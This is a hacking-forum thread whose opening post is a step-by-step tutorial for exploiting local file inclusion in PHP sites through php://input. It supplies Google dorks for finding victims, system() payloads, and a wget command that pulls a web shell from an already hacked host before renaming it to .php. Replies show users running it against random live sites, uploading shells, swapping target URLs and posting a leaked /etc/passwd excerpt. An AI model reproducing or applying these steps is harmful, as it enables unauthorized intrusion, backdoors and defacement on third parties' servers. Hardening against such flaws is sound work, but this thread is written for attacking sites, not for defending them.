Thread: [\[LFI method\] php://input - Noob friendly with pictures](#)

HaxOr? - April 9, 2012, 7:16 am

Things you will need:

- 1.) Site vulnerable to LFI (Local file inclusion)
- 2.) HackBar

Chapter I

- Finding vulnerable site

Few Google dorks.

Credits: -Downfall

Code inurl:index.php?page=index.php
inurl:index.php?page=sitemap.php
inurl:index.php?page=awards.php
inurl:index.php?page=book.php

inurl:index.php?page=band.php
inurl:index.php?page=musicians.php
inurl:index.php?page=artist.php
inurl:index.php?page=archive.php
inurl:index.php?page=facilities.php
inurl:index.php?page=activities.php
inurl:index.php?page=bio.php
inurl:index.php?page=biography.php
inurl:index.php?page=menu.php
inurl:index.php?page=profile.php
inurl:index.php?page=terms.php
inurl:index.php?page=tos.php
inurl:index.php?page=screenshots.php
inurl:index.php?page=plans.php
inurl:index.php?page=templates.php
inurl:index.php?page=browse.php
inurl:index.php?page=shows.php
inurl:index.php?page=dining.php
inurl:index.php?page=media.php
inurl:index.php?page=offers.php
inurl:index.php?page=photogallery.php
inurl:index.php?page=schools.php

inurl:index.php?page=rates.php
inurl:index.php?page=buy.php
inurl:index.php?page=pricing.php
inurl:index.php?page=web.php
inurl:index.php?page=cms.php
inurl:index.php?page=sponsors.php
inurl:index.php?page=login.php
inurl:index.php?page=admin.php
inurl:index.php?page=register.php
inurl:index.php?page=signin.php
inurl:index.php?page=signup.php
inurl:index.php?page=artikel.php
inurl:index.php?page=kontakt.php
inurl:index.php?page=directions.php
inurl:index.php?page=farm.php
inurl:index.php?page=resume.php
inurl:index.php?page=products.php
inurl:index.php?page=music.php
inurl:index.php?page=agenda.php
inurl:index.php?page=faculty.php
inurl:index.php?page=overview.php
inurl:index.php?page=research.php
inurl:index.php?page=publications.php
inurl:index.php?page=outreach.php
inurl:index.php?page=education.php
inurl:index.php?page=regulatoins.php
So when you find some site like this:

Code `http://site.com/index.php?page=main.php`
Instead of `main.php` put `/etc/passwd` and if you get something like this :

[img]<http://img820.imageshack.us/img820/723/regionme.png>[/img]

If you type `php://input` instead `/etc/passwd` and it doesn't throw error then it's vulnerable and we can continue.

Chapter II

- Exploiting

So we have our vulnerable site.

Code `http://site.com/index.php?page=main.php`

Now it's time to exploit it.

Go here and install HackBar (If you don't have it already)

Code <https://addons.mozilla.org/en-US/firefox/addon/hackbar/>

Now open your site and Load URL into the hackbar.

[img]<http://img707.imageshack.us/img707/4452/regionfr.png>[/img]

[img]<http://img703.imageshack.us/img703/4188/regionzz.png>[/img]

Good.

Now replace everything next to `= sign` and replace it with

Code `php://input`

Like this

Code `http://site.com/index.php?page=php://input`

Now enable "Enable Post Data"

You will get new box.

There we will type our commands.

Chapter III

- How the fuck do i shell it?

This part is simple.

All you need to do is to put your commands into "Post Data" box.

We start with simple ones like:

Code `<? system('id'); ?>`

As you can see it executed and it works pretty well.

Now comes shelling part.

If you have some hacked site, you can host your shell (In textual (.txt) format)

I will use 404 Gny shell for this tutorial.

We type

Code `<? system('wget www.site.com/shell.txt'); ?>`

(Replace link with your shell location)

To see if your shell downloaded type:

Code `<? system('ls'); ?>`

You got list of files in current directory.

Search for your file (Mine one is aa.txt)

(For simple search press CTRL+F and then type your filename there)

Final part is to rename aa.txt to aa.php.

This simple command will do the trick:

Code `<? system('mv aa.txt aa.php'); ?>`

Now we just access our shell.

[img]http://img269.imageshack.us/img269/7311/regionhk.png[/img]

[img]http://img191.imageshack.us/img191/9604/regionvj.png[/img]

So that concludes our little tutorial.
I hope you guys learned something new today.

Video tutorial thanks to -Zer0Freak-
[Video: <https://www.youtube.com/watch?v=IC5Sp7HXwWw>]

Greetz to:

Team INTRA, -Downfall, BeggFoMercy, Zer0Pwn...

Puk\$on - April 9, 2012, 7:29 am

Nice tut, but that shell where can i download it?

HaxOr? - April 9, 2012, 7:33 am

(Apr 9, 2012 07:29 AM)PukkieGek Wrote: [\[CITE\]](#) Nice tut, but that shell where can i download it?
Thanks Pukkie! ?
I'll PM you.

Bacardi - April 9, 2012, 7:40 am

Fantastic tutorial. Going to try it out on some websites.

Thanks hax0r!

HaxOr? - April 9, 2012, 7:41 am

Thanks Bacardi.
I think i will cover more tutorials on LFI methods.

?

03storic - April 9, 2012, 7:49 am

Great tutorial dude, I had never thought of using the POST feature of hackbar to inject for LFI, it makes thing's so much easier.

joomlafkr - April 9, 2012, 8:00 am

Good write-up Haxor !

Too bad tha LFI ain't very common nowadays :/

Eshta - April 9, 2012, 8:21 am

Great tutorial, I wish if you could pm me a download link for that shell. Thanks

-zerocool - April 9, 2012, 8:23 am

Gonna try it now .
Looks nice method.

kalvin26 - April 9, 2012, 8:26 am

nice one i already tried it and i upload a c99shell on one of the sites i got, thanks for this haxor

can i also get that shell you use haxor?

oH4i Hx0r - April 9, 2012, 8:41 am

Finally, a guide that i fully understand!!

Thank you!

This guide is GREAT!

fobber - April 9, 2012, 8:43 am

Thanks you, HaxOr.. I really didn't knew that you could upload a shell using just LFI.

Most of the time I get an error message, when I try to access /etc/passwd - but oh well. Guess I'll just have to keep looking!:))

Quote:Not Found

The requested URL /etc/passwd was not found on this server.

Edit:

I finally found one where I could use /etc/passwd. But when I do php://input, then it gives me this:
Quote:Warning: require(php://input) [function.require]: failed to open stream: operation failed in
/home/content/g/a/r//html/admin/index.php on line 25

Fatal error: require() [function.require]: Failed opening required 'php://input' (include_path='.:usr/local/php5/lib/php') in /home/content/g/a/r//html/admin/index.php on line 25

zer0pwn - April 9, 2012, 8:48 am

Great tutorial!

I love how you guys are almost bringing LFI back to life with all the methods (It's alive, but not on HF).

Amazing tutorial, HaxOr. :)

DCA00X - April 9, 2012, 8:53 am

Well nice tut hax0r :o) - your are doing good.

such as setting the permissions to read the /etc/shadow file, I need to authorize my self as an admin on the server, before I can expand the view on the .shadow file

such a scenario which I'm talking about is that, I explored this randomly website, just to test if your tut was working ofc. Then it gave me a internal error on apache.. saw it on the live http header, that the page did not load correctly, but spit out Error 505 or something like that. When I even tried to execute this script

Code <? system('id'); ?>

anyways I got this far, and not further... haha :)

Code

[illegible]

```
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/bin/sh bin:x:2:2:bin:/bin:/bin/sh

TwinBlade - April 9, 2012, 10:23 am

omg man, thank you so much !

You really make a legitimate tut's!

THANK YOU THANK YOU

Onix - April 9, 2012, 12:10 pm

i saw the /etc/passwd but the Post data commands arent working what should i do ?

Anyways gr8 tutorial :D

BeggFoMercy - April 9, 2012, 12:21 pm

Awww thanks for the Greetz dude <3 , And nice written tutorial keep it up :D

bYT3R_ - April 9, 2012, 12:53 pm

Great tutorial again! All Haxor's tutorials are very helpful, so I can only recommend for everyone who need detailed and HQ works ?

HaxOr? - April 9, 2012, 1:02 pm

Thanks for positive feedback pepole! :) <3

I can make video tutorial if anyone wants...

turbofreak2010 - April 9, 2012, 1:53 pm

Amazing tutorial, helped a lot. Thanks for sharing it.

Would be great if you make video tutorial but this text/pictures tutorial is really helpful.

Keep it up!

iCub™ - April 9, 2012, 2:05 pm

Wow! Amazing Tutorial Bro! Gonna give This a go!! Keep Releasing Tuts Like This! And Most Of All..THANK YOU!

I Do Not Seed Torrents - April 9, 2012, 2:46 pm

Will keep this as a reference, cheers bro.

^,^

@Haxor

Is that Coco Austin in your sig, shes fucking hot.

??????? - April 9, 2012, 2:52 pm

I have a problem, I follow the first step and it happen well but at the second step I obtain that :

Code Warning: include_once/php://input [function.include-once]: failed to open stream: operation failed in /home/content/37/4936137/html/template.php on line 40

Warning: include_once() [function.include]: Failed opening 'php://input' for inclusion (include_path='.:usr/local/php5/lib/php') in /home/content/37/4936137/html/template.php on line 40

HaxOr? - April 9, 2012, 2:56 pm

Thaks for the feedback mrbeard! ?

Catzbow - July 27, 2012, 12:42 pm

this is really good tutorial. :-). Keep it up brother.

root.localhost - July 27, 2012, 1:07 pm

Anyone notice that GidePT script like xtremepoints.net and all the other sites that use GidePT script has a php://input in it?

intel1230 - July 27, 2012, 1:10 pm

Nice tut, but that shell where can i download it

PlickaMaterna - July 27, 2012, 1:22 pm

Why exactly do you use GNY shell when you have shell_exec already?

MOD3M - July 28, 2012, 11:06 pm

Excellent tutorial as usual. Very easy to understand, and quite detailed.

Mr.BBBB - October 2, 2012, 9:04 am

haxor the boss

Nice tutorial. Tnx for share

Szakalaka - October 16, 2012, 12:10 pm

if /etc/passwd and php://input redirect me to main page it means site is not vulnerable?

Procrypt - October 16, 2012, 12:59 pm

Fantastic tutorial. Going to try it out on some websites.

Thanks hax0r!

Szakalaka - October 17, 2012, 9:01 am

<http://www.death-star.net/index.php?Page=php://input>

does not throw error but i cant post any data

b001ean - October 17, 2012, 1:24 pm

Found some sites... Thanks a lot.. :) very nice tut..

A small by me..

for

<http://www.sicumdogsignatures.com>

<http://pastebin.com/jKqTZARY>

?ikism? - October 19, 2012, 6:25 am

When I get this error when typing /etc/passwd

Quote:Warning: include(error.php) [function.include]: failed to open stream: No such file or directory in D:\inetpub\webs\isabelconferencecom\content.php on line 13

Warning: include() [function.include]: Failed opening 'error.php' for inclusion (include_path='.;c:\php\includes') in D:\inetpub\webs\isabelconferencecom\content.php on line 13

What does that mean? I can not use LFI method on the site or am I doing it wrong?

Hooded Robin - October 19, 2012, 8:16 am

D:\ => Windows so there will never be any /etc/passwd file, try C:\WINDOWS\win.ini or c:\boot.ini and see if those are present since they should be present on most Windows systems. Read the errors, they tell you a whole lot of information...

soacool - October 19, 2012, 1:40 pm

very detailed tut, thank's haxor

..

133720 - October 22, 2012, 12:03 am

Haxor , You are the Great ,
I very like your Tut :)

b001ean - October 27, 2012, 4:42 am

Help me.. I can not upload the file. :(The commands are working fine. Please help

HaxOr? - October 27, 2012, 4:45 am

Okay, PM me and i'll help you... ?

BlackEvil - October 27, 2012, 8:17 am

Excellent tutorial bro! keep on it!

Thanks for posting i gonna try it right now

MonsterYzBR - October 27, 2012, 8:19 am

Nice and cool thread!

You are awesome!

Amazing thread!

irishblood - December 28, 2012, 1:02 pm

sir..can you give me the shell too?i want to explore more about the method
thanks in advanced.

Heb0 - December 28, 2012, 1:58 pm

Verry good and noobfriendly tutorial!

+1!

DARK_HORSE - February 3, 2013, 11:34 am

nyc tut...

can P.M. me shell and a few vuln. sites PLEASE..it will be a great help

?

thanxxx

jeetjain2345 - March 23, 2013, 9:08 am

Bro simple contribution

<https://hackforums.net/showthread.php?tid=3349124&pid=31429687#pid31429687>

when i saw your tut i thought to make a script for this and i made a simple one hope it will help few people

-Syn - March 23, 2013, 7:08 pm

great tutorial bro ... thanks for this ..

cheakyjay - May 15, 2013, 5:40 pm

Yeh thanks a lot great tutorial not /proc/self/environ noob stuff :)

-Cheakyjay

SIM-1073426 - May 16, 2013, 8:11 am

Meh the sites I found would display the passwd file but wouldn't execute the php code.

r3spawn - May 16, 2013, 8:18 am

wow,using php:// .thats a nice tuts :D

thank you

cheakyjay - May 16, 2013, 10:13 am

Yeh it happend to me to :/.

-Cheakyjay ?

HaxOr? - May 16, 2013, 1:29 pm

Yea, i guess this is a pretty rare find. D:
But still good method.

cheakyjay - May 23, 2013, 3:38 pm

yeh i agree it's good methods most of the hackers that are using only proc/self/environ and deface websites will not know this and probebly there we be still LFI vuln sites out there lol

Suved - May 23, 2013, 10:21 pm

(May 16, 2013 01:29 PM)HaxOr? Wrote: [\[CITE\]](#) Yea, i guess this is a pretty rare find. D:
But still good method.

php://input works only when allow_url_include is set to On.

but i'm not sure about it.

correct me if i'm wrong.

Colonel Panic - August 1, 2013, 2:06 pm

Pretty good tutorial, good for beginners :)

crackling - August 1, 2013, 4:52 pm

Nice tutorial bro keep up the goof work

QuickStar - August 1, 2013, 7:57 pm

Nice tutorial, one post closer till 100 yayaya.

Crenellations - August 2, 2013, 7:40 pm

Is there anything we can do if the /etc/passwd works but the php://input does not? Because it still seem like there should be some vulnerability.

Nice tutorial btw :)

0x77d718fc - August 3, 2013, 6:07 am

Great tut, didn't know about this method, thanks!

marvzwest - August 3, 2013, 1:57 pm

very kool i must say oh yes very much soo

vico100 - August 11, 2013, 4:32 am

Great tutorial, very informative . :)

Bean Dip - August 11, 2013, 4:34 am

Why the fuck are you guys ing old fucking threads? Wtf is wrong with you guys?

HaxOr? - August 11, 2013, 5:01 am

Because it's a good tutorial? :3

Spoiler [\(Click to View\)](#)

jk

Ice_mans - August 11, 2013, 7:10 am

Very nice HQ post. , Glad to see LFI coming back :)

Would love try that shell , never heard of it before as most of the shells people release are backdoored.

Thanks in advance.

W4rl0ck1337 - *August 11, 2013, 2:21 pm*

Nice tutorial , i didnt knew about LFI with php://input method whatsoever ;s (managed to LFI to RCE few times with /proc/self/environ)

-DeStRoYeR__ - *September 6, 2014, 6:19 am*

This is a great tutorial, looks nice method.

moha1313128 - *February 16, 2016, 9:37 am*

thanks man i learn something new today
